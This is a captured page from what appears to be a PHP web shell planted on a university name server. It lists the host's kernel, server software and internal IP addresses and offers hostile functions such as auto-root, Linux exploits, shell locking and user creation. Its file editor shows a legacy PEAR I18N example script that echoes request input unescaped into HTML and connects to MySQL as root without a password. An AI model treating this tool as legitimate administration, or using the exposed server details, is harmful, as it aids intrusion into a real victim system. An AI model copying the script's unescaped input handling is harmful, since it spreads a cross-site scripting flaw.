Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
doc /
I18N /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
I18N_Currency.php
709
B
-rw-r--r--
I18N_DateTime.php
5.65
KB
-rw-r--r--
I18N_Message.php
2.27
KB
-rw-r--r--
I18N_Message_Translate.php
971
B
-rw-r--r--
I18N_Message_Translate.tpl
901
B
-rw-r--r--
I18N_Negotiator.php
792
B
-rw-r--r--
I18N_Number.php
1.3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : I18N_Message.php
<html> <body> <font color="red"> please get the sql-file from <a href="http://wolfram.kriesing.de/libs/php/SimpleTemplate/examples/translate.sql">here</a> to make the translate-method work properly<br> this example requires >=PHP 4.1 </font> <br><br> <?php ini_set('include_path',ini_get('include_path').':../..'); /** * * test of I18N_Message_Common * */ print '<h1>TEST I18N_Messages_Common</h1>'; require_once( 'I18N/Messages/Common.php' ); $strings[] = 'This is a test for all of you out there!'; $strings[] = 'Das ist ein Test f�r Euch alle da draussen!'; $strings[] = 'Esto es una prueba para todos vosotros ahi!'; $strings[] = 'je tu il elle nous vous - need french input here :-)'; $strings[] = 'Questo � un test per tutti voi l� fuori!'; $strings[] = 'PHP r�?ni si? od skrypt�w wykonywanych po stronie klienta takich jak np.'; foreach( $strings as $aString ) print "<b>$aString</b> --- seems to be of the language: <b>".I18N_Messages_Common::determineLanguage($aString).'</b><br>'; echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post">'; echo 'determine language of:<input name="langString" size="50" '; echo 'value="'.(isset($_REQUEST['langString'])?$_REQUEST['langString']:'What language is this?').'">'; echo '<input type="submit"><br>'; if( $_REQUEST['langString'] ) { echo 'I18N_Messages_Common::determineLanguage says it is: <b>'; echo I18N_Messages_Common::determineLanguage($_REQUEST['langString']).'</b>'; } echo "</form>"; /** * * test of Message_Translate * * DB file: http://wolfram.kriesing.de/libs/php/examples/SimpleTemplate/translate.sql * */ print '<h1>TEST I18N_Messages_Translate</h1>'; require_once( 'I18N/Messages/Translate.php' ); $translate = new I18N_Messages_Translate( 'mysql://root@localhost/test' ); $translated[] = $translate->simpleTranslate( 'source code' , 'de' ); $translated[] = $translate->translate( 'translate (i.e. into ($someVar-or any other string))' , 'de' ); $translated[] = $translate->translateMarkUpString( $input , 'de' ); foreach( $translated as $aTrans ) print "$aTrans<br>"; print_r( $translate->getAll( 'de' ) ); ?> </body> </html>
Close